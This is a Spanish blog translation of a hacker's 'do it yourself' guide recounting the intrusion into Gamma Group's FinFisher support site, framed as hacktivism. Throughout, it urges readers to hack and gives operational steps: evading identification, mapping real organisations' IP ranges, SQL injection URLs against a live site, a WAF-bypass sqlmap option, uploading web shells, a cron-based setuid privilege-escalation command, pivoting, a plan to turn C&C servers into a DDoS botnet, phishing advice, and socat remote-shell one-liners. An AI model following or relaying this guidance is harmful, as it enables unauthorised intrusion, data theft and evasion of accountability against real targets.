Inicio Ciberactivismo Contra Hacking! Una guía “Hazlo tú mismo” para aquellos sin paciencia para esperar a “whistleblowers”

Contra Hacking! Una guía “Hazlo tú mismo” para aquellos sin paciencia para esperar a “whistleblowers”

33 minuto leer
0
0
778

hacker

Esto es una traducción libre del texto escrito por @GammaGroupPR.

Realizada para ayudar a comprender el contenido y la importancia del documento escrito por el hacker del Gamma Group a través del sitio web del FinFisher. Un hack en el que se logró llegar a extraer 40 GB de datos de esta empresa, dedicada a la creación de malware para su venta.

          _   _            _      ____             _    _ 
         | | | | __ _  ___| | __ | __ )  __ _  ___| | _| |
         | |_| |/ _` |/ __| |/ / |  _ \ / _` |/ __| |/ / |
         |  _  | (_| | (__|   <  | |_) | (_| | (__|   <|_|
         |_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_)

A DIY Guide for Those Without the Patience to Wait for Whistleblowers

–[ 1 ]– Introducción

No estoy escribiendo esto para impresionar con lo 31337 h4x0r que soy y la gran técnica hacker que tengo para haber hackeado a Gamma. Escribo esto para desmitificar el hacking, para mostrar lo sencillo que es, y ojalá que para informarte e inspirarte para ir y hackear cosas. Si no tienes experiencia en la programación y el hacking, algo del siguiente texto puede parecerte como otro idioma. Mira la sección de recursos, al final, para ayudarte a comenzar. Y créeme, cuando hayas aprendido lo básico te darás cuenta de que es más sencillo que rellenar una solicitud del “FOIA”.

–[ 2 ]– Mantenerse a Salvo

Esto es ilegal, por lo tanto debes tomar algunas precauciones básicas:

1) Crea un volumen oculto con Truecrypt 7.1a [0] 2) Dentro del volumen instala Whonix [1] 3) (Opcional) Aunque tener todo el tráfico corriendo a través de TOR gracias a Whonix es probablemente suficiente, es mejor no usar tu propia conexión a tu nombre y dirección. Una antena, aircrack y reaver vienen de maravilla para esto.

[0] https://truecrypt.ch/downloads/
[1] https://www.whonix.org/wiki/Download#Install_Whonix

Mientras no hagas cosas sin sentido común, como realizar cualquier actividad de hacking fuera de Whonix, nunca realices actividades de internet comunes dentro de Whonix, nunca menciones ninguna información sobre tu vida real cuando te comuniques con otros hackers y no intentes impresionar sobre ninguna actividad ilegal de hacking o explotación a tus amigos en la vida real, puedes hacer prácticamente lo que quieras sin miedo a ser v&.
NOTA: NO recomiendo hackear directamente con TOR. Mientras que TOR es útil para algunas cosas, como navegar por la web, cuando se trata de utilizar herramientas de hacking como nmap, sqlmap, o nikto que realizan cientos de conexiones, irán muy lentas con TOR. No es necesario mencionar que necesitas una IP pública para recibir “shells” inversas. Recomiendo usar servidores que hayas hackeado o pagar con Bitcoins un VPS desde el que hackear. De este modo sólo los comandos van a través de TOR a velocidad limitada hasta el servidor. Todos los paquetes que envíes después tendrán buena velocidad de hasta tu objetivo.

–[ 3 ]– Mapear el objetivo

Básicamente he usado repetidamente fierze [0], consultas whois de direcciones IP y nombres de dominio y consultas inversas de whois para encontrar todos los espacios de direcciones IP y nombres de dominio asociados a la organización.

[0] http://ha.ckers.org/fierce/

Por ejemplo, vamos a tomar Blackwater. Comenzamos conociendo que su página principal está en academi.com. Ejecutando fierze.pl –dns academi.com encontramos los subdominios:

67.238.84.228 email.academi.com
67.238.84.242 extranet.academi.com
67.238.84.240 mail.academi.com
67.238.84.230 secure.academi.com
67.238.84.227 vault.academi.com
54.243.51.249 http://www.academi.com

Ahora hacemos consultas whois y encontramos que la página http://www.academi.com está hospedada en
Amazon Web Service, while the other IPs are in the range:

NetRange: 67.238.84.224 – 67.238.84.255
CIDR: 67.238.84.224/27
CustName: Blackwater USA
Address: 850 Puddin Ridge Rd

Una consulta whois sobre academi.com revela que está registrada en la misma dirección, entonces usamos esta cadena de texto para hacer las consultas inversas de whois. Hasta donde sé todos los servicios de búsqueda de whois inverso cuestan dinero, por lo tanto, utilizo un truco con Google:

“850 Puddin Ridge Rd” inurl:ip-address-lookup
“850 Puddin Ridge Rd” inurl:domaintools

Ahora ejecuta fierce.pl –range sobre los rangos de IP que has encontrado y fierce.pl –dns en los nombres de dominio para encontrar subdominios y direcciones IP. Haz más whois lookouts y repite el proceso hasta que hayas encontrado todo
También puedes, simplemente, buscar en Google la organización y navegar por sus sitios web. Por ejemplo, en academi.com encontramos enlaces al portal de puestos de trabajo, una tienda online y una página con recursos para empleados, luego, ahora tenemos algo más:

54.236.143.203 careers.academi.com
67.132.195.12 academiproshop.com
67.238.84.236 te.academi.com
67.238.84.238 property.academi.com
67.238.84.241 teams.academi.com

Si repites los whois lookups y el resto de procedimientos, encontrarás que academiproshop.com parece no estar hospedada ni mantenida por Blackwater, luego, hay que eliminarla de la lista de direcciones IP/dominios de interés.
En el caso de FinFisher lo que me condujo hacia al vulnerable finsupport.finfisher.com fue un simple whois lookup de finfisher.com que encontré registrado bajo el nombre “FinFisher GmbH”.

Al googlear: “FinFisher GmbH” inurl:domaintools se encuentra gamma-international.de, que redirige a finsupport.finfisher.com.
… entonces ahora ya tienes una idea de cómo mapeo un objetivo.

Esta es la parte más importante en realidad: cuanto más grande sea la superficie de ataque que seas capaz de mapear, más sencillo será encontrar un agujero en algún lugar.

–[ 4 ]– Escaneo y Explotación

Escanea todas las IP que hayas encontrado con nmap para averiguar los servicios que corren. Junto al escaneo de los puertos típicos, escanear el servicio SNMP que está infravalorado.

Ahora para cada servicio que encuentres funcionando:

1) ¿Está exponiendo algo que no debería? En ocasiones las compañías tienen servicios que no requieren autentificación y simplemente asumen que es seguro porque la URL o IP de acceso no es pública. Tal vez fierze haya encontrado un subdominio con GIT y puedes ir a git.companyname.com/gitweb/ y navegar por su código fuente.

2) ¿Está totalmente desconfigurado? Tal vez tienen un servidor FTP que permita acceso anónimo con privilegios de lectura y escritura a algún directorio importante. Tal vez tengan un servidor de base de datos con una contraseña de acceso en blanco para el usuario administrador (LOL Stratfor). Tal vez sus sistemas embebidos (Máquinas VOIP, Cámaras IP, Routers, etc) estén usando la contraseña por defecto del fabricante…

3) ¿Está corriendo una versión antigua de algún software vulnerable a un exploit público? Los servidores web merecen una categoría propia. Para los servidores web, incluidos los que nmap encuentra de vez en cuando en puertos no estándar, suelo:

  • Navegar en ellos. Especialmente en los subdominios que fierce encuentra y que no están pensados para ser utilizados públicamente como test.company.com o dev.company.com donde podrás llegar a encontrar cosas interesantes con tan sólo visitarlos.
  • Ejecutar nikto [0]. Buscará cosas como webserver/.svn/, webserver/backup/, webserver/php.info, y otras cuantas malas configuraciones y errores típicos.
  • Identificar qué software está siendo utilizado en el sitio web. WhatWeb es útil [1].
  • Dependiendo del software que use el sitio web, uso herramientas más específicas como wpscan [2], CMS-Explorer [3] y Joomscan [4].

Primero prueba esto contra todos los servicios para ver si hay alguna mala configuración, vulnerabilidad públicamente conocida u otro modo sencillo de acceder. Si no, es el momento de cambiar y buscar una nueva vulnerabilidad.

Las aplicaciones programadas de forma personalizada son mayor terreno fértil para errores que los proyectos ampliamente usados a larga escala. Yo uso ZAP [5], y algunas combinaciones de sus test automatizados junto con algunas entradas personalizadas por ahí con la ayuda de su proxy interceptor.

Para el software no personalizado que utilicen, consigue una copia para verlo. Si es software libre puedes descargarlo sin más. Si es propietario generalmente puedes piratearlo. Si es propietario y suficientemente oculto y no puedes piratearlo, puedes comprarlo (lame) o buscar otros sitios web en Google que usen el mismo software, buscar alguno fácil de hackear y obtener una copia.

[0] http://www.cirt.net/nikto2
[1] http://www.morningstarsecurity.com/research/whatweb
[2] http://wpscan.org/
[3] https://code.google.com/p/cms-explorer/
[4] http://sourceforge.net/projects/joomscan/
[5] https://code.google.com/p/zaproxy/

Para finsupport.finfisher.com el proceso fue:

• Ejecutar nikto en segundo plano.
• Visitar la web. Sólo se ve una página de login. Rápidamente comprobar SQLi en el formulario.
• Mirar si WhatWeb sabe algo sobre el software utilizado.
• WhatWeb no lo reconoció, luego la siguiente pregunta que me hice fue si se trataba de software personalizado desarrollado por Gamma o habría otras web utilizándolo.
• Miré el código fuente de la página para intentar encontrar alguna URL en la que buscar (index.php no es exactamente único en este software). Escojo Scripts/scripts.js.php, y googleo: allinurl:”Scripts/scripts.js.php”.
• Encontré que había un montón de sitios usando el mismo software, todas programadas por una pequeña firma de diseño web.

En este punto pude ver los titulares de las noticias que los periodistas escribirían para obtener más visitas. “En un sofisticado ataque en varias etapas, los hackers primero comprometieron una firma de diseño web, para adquirir información confidencial que les ayudaría a atacar al Grupo Gamma…”

Pero en realidad es muy sencillo, realizado casi en piloto automático una vez que entiendes el método para hacerlo caer:
o Google: allinurl:”Scripts/scripts.js.php” y encuentra otros sitios.
o Percatarse que era vulnerable al primer ataque de inyección SQL que probé.
o Darse cuenta de que estaban utilizando Apache ModSecurity por lo que debí utilizar sqlmap [0] con el parámetro –tamper=’tamper/modsecurityversioned.py’
o Adquirir la información de login del administrador, login y subir una Shell [1] (la comprobación de las extensiones de archivo admitidas se realizó del lado del cliente en javascript) y descargar el código fuente del sitio web.

[0] http://sqlmap.org/
[1] https://epinna.github.io/Weevely/

o Mirando el código fuente podrían haberlo llamado Damn Vulnerable
Web App v2 [0]. Permitía SQLi, LFI, subida de archivos del lado del cliente en javascript, y si no estás autentificado, la página de administración te envía a la de login con una Location Header, pero puedes tener tu proxy de interceptación filtrando la Location Header de salida y acceder sin ningún problema.

[0] http://www.dvwa.co.uk/

Enfocándonos en lo anterior sobre el sitio de finsupport, la página de administración /BackOffice/ devuelvía 403 Forbidden, y tuve algunos problemas con el LFI, así que, cambié y empecé a emplear SQLi (es genial tener una docena de opciones para elegir). Los todos los otros sitios web del mismo diseñador web tenían un print.php inyectable, entonces, algunas rápidas peticiones a:

https://finsupport.finfisher.com/GGI/Home/print.php?id=1 and 1=1
https://finsupport.finfisher.com/GGI/Home/print.php?id=1 and 2=1

revelaron que finsupport también tenían el archivo print.php y era inyectable. ¡Y era la base de datos del administrador! En MYSQL esto significa que puedes leer y escribir archivos. Habían desactivado las magicquotes de PHP, de modo que no podía utilizar INTO OUTFILE para escribir archivos.

Pero pude emplear un pequeño script que usa sqlmap –file-read para obtener el código fuente de una URL y una petición web normal para obtener el HTML y luego encontrar los archivos incluidos o requeridos por ese código fuente PHP y localizar los archivos enlazados en el HTML, para descargar el código fuente de todo el sitio web recursivamente.

Observando la fuente, vi que los clientes podían añadir archivos adjuntos en sus tickets de soporte, y que no se comprobaba la extensión de dicho fichero. Así que seleccioné el nombre de usuario y la contraseña de un cliente de la base de datos, creé una solicitud de soporte con una Shell PHP adjunta y ya estaba dentro.

–[ 5 ]– (Fallos en) Escalada de privilegios

 ___________ 
< got r00t? >
 ----------- 
           ^__^
           (oo)_______
            (__)       )/
                ||----w |
                ||     ||
            ^^^^^^^^^^^^^^^^

El 50% de los servidores web que puedes encontrar en la red son rooteables con 2 sencillos scripts, Linux_Exploit_Suggester [0], and unix-privesc-check [1].

[0] https://github.com/PenturaLabs/Linux_Exploit_Suggester
[1] https://code.google.com/p/unix-privesc-check/

Finsupport estaba usando la última versión de Debian sin ningún exploit local, pero unix-privesc-check devolvió:

WARNING: /etc/cron.hourly/mgmtlicensestatus is run by cron as root. The user
www-data can write to /etc/cron.hourly/mgmtlicensestatus
WARNING: /etc/cron.hourly/webalizer is run by cron as root. The user www-data
can write to /etc/cron.hourly/webalizer

Por lo que añadí a /etc/cron.hourly/webalizer:

chown root:root /path/to/my_setuid_shell
chmod 04755 /path/to/my_setuid_shell

Esperé una hora y nada…. Cuando el proceso CRON se ejecutaba, se revertía. De hecho parecía que no se estuvieran procesando los cronjobs. Aparentemente después de actualizar la zona horaria CRON funcionaba a horas equivocadas y a veces no funcionaba en absoluto y necesitabas reiniciar CRON y después cambiar la zona horaria. Ls –l /etc/localtime mostraba que la zona horaria se había actualizado el 6 de Junio, el mismo día que webalizer paró de registrar estadísticas, así que seguramente ese era el problema. En cualquier caso, la única cosa que hacía el servidor era hospedar el sitio web, de modo que ya tenía acceso a todo lo interesante. Obtener root no me daría acceso a mucho más, de modo que me moví hacia el resto de la red.

–[ 6 ]– Pivotando

El siguiente paso es mirar alrededor de la red local de la máquina que has hackeado. Esto es prácticamente lo mismo que el paso de escaneo y explotación, salvo que detrás del firewall se pueden exponer servicios mucho más interesantes. Un tarball conteniendo una copia de nmap y todos sus scripts estáticamente enlazados que puedas subir y ejecutar en cualquier máquina es muy útil para esto. Los variados scripts de nmap nfs-* y especialmente smb-* serán extremadamente útiles.

La única cosa interesante que conseguí de la red local de finsupport fue otro servidor web que contenía una carpeta llamada ‘qateam’, que contiene todo su malware para móviles.

–[ 7 ]– Divertirse

Cuando estás en su red, la verdadera diversión comienza. Tan sólo utiliza tu imaginación. Mientras que titulé esto una guía para “whistleblowers” wannabe, no existe ninguna razón para limitarse a filtrar documentos. Mi plan original era:

1) Hackear Gamma y obtener una copia del software del servidor FinSpy.
2) Buscar vulnerabilidades en el software FinSpy para servidores.
3) Escanear la Red en busca de servidores C&C de FinSpy y hackearlos.
4) Identificar los grupos que lo usan.
5) Usar los servidores C&C para subir y ejecutar un programa en todas las víctimas contándoles que estaban siendo vigilados.
6) Usar el servidor C&C para desinstalar FinFisher de todos los objetivos.
7) Unir los servidores C&C creando una botnet para realizar DDOS a Gamma Group.

Tan sólo cuando fallé al no hackear totalmente a Gamma y terminando con algunos documentos interesantes, pero no la copia del servidor FinSpy, fue cuando cambié el plan por uno menor consistente en filtrar el backup mientras me reía de ellos en twitter.

¡Apunta tus GPU hacia FinSpy-PC+Mobile-2012-07-12-Final.zip y crackea la contraseña para poder moverte al segundo paso!

–[ 8 ]– Otros Métodos

El método general que he descrito arriba consistente en escanear, buscar vulnerabilidades y explotarlas es tan sólo una forma de hacking. Probablemente mejor para aquellos con una base en programación. No hay una forma correcta y cualquier método que funcione es tan bueno como cualquier otro. Los otros caminos principales de los que hablo, sin entrar en detalles son:

1) Exploits en navegadores web, java, flash o Microsoft office, combinado con enviar emails a empleados con un mensaje convincente para conseguir que ellos abran el adjunto o hagan click en el enlace, o hackear el sitio web frecuentado por el personal y añadir el exploit para navegador/java/flash.
Este es el método empleado por la mayoría de los hackers de los gobiernos, pero no necesitas ser un gobierno con millones para gastar en búsqueda de 0day, subscripciones a FinSploit o con Vupen haciéndote el trabajo. Puedes obtener un exploit kit ruso por un par de miles de dólares o arrendar acceso a uno por mucho menos. También existe metasploit con browser autopwn, pero probablemente tengas más suerte sin exploits y con un falso actualizador de flash player emergente.

2) Aprovechar la ventaja de que la gente es simpática, confiada y que ayuda el 95% del tiempo.

La industria de la seguridad informática inventó un término para darle un cierto significado científico llamado: Ingeniería Social. Este es probablemente el camino a seguir si no conoces mucho sobre ordenadores y realmente es todo lo que necesitas para ser un exitoso hacker [0].

[0] https://www.youtube.com/watch?v=DB6ywr9fngU

–[ 9 ]– Recursos

Enlaces:

target$ socat exec:’bash -li’,pty,stderr,setsid,sigint,sane tcp-listen:PORTNUM
host$ socat file:tty,raw,echo=0 tcp-connect:localhost:PORTNUM

También es útil para configurar pivotes raros y otras cosas de todo tipo.

Libros:

A parte del material sobre hacking específico, cualquier material de utilidad para un administrador de sistemas para configurar y administrar redes será útil para explorarlos.
Esto incluye familiaridad con el símbolo del sistema de Windows y la shell de Unix. Scripting básico, conocimientos en ldap, kerberos, directorio activo, redes, etc.

–[ 10 ]– Otros

Te habrás dado cuenta de que algunas cosas suenan exactamente a lo que está haciendo Gamma. El Hacking es una herramienta. No es vender herramientas de hacking lo que hace malvado a Gamma. Son los objetivos que seleccionan sus clientes y con qué propósito lo hacen lo que los hace malvados. Esto no quiere decir que las herramientas sean inherentemente neutrales. El hacking es una herramienta ofensiva. Del mismo modo que la guerra de guerrillas hace más difícil ocupar un territorio, cuanto más barato sea atacar que defender, más difícil será mantener la autoridad ilegítima y la inequidad. Así que escribí esto para tratar de hacer que el hacking sea más fácil y accesible y mostrar que el hack del Grupo Gamma no era algo fantástico sino simple SQLi estándar y que tienes la habilidad de ir y realizar acciones similares.

Solidaridad con todo el pueblo de Gaza, objetores de conciencia israelíes, Chelsea Manning, Jeremy Hammond, Peter Sunde, Anakata y para todos los otros hackers, disidentes y criminales encarcelados.

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Mira además

Windows 10 Optimización y Mantenimiento

Optimización de configuración: Privacidad: Todo OFF. Desactiva todas las funciones.Aplicac…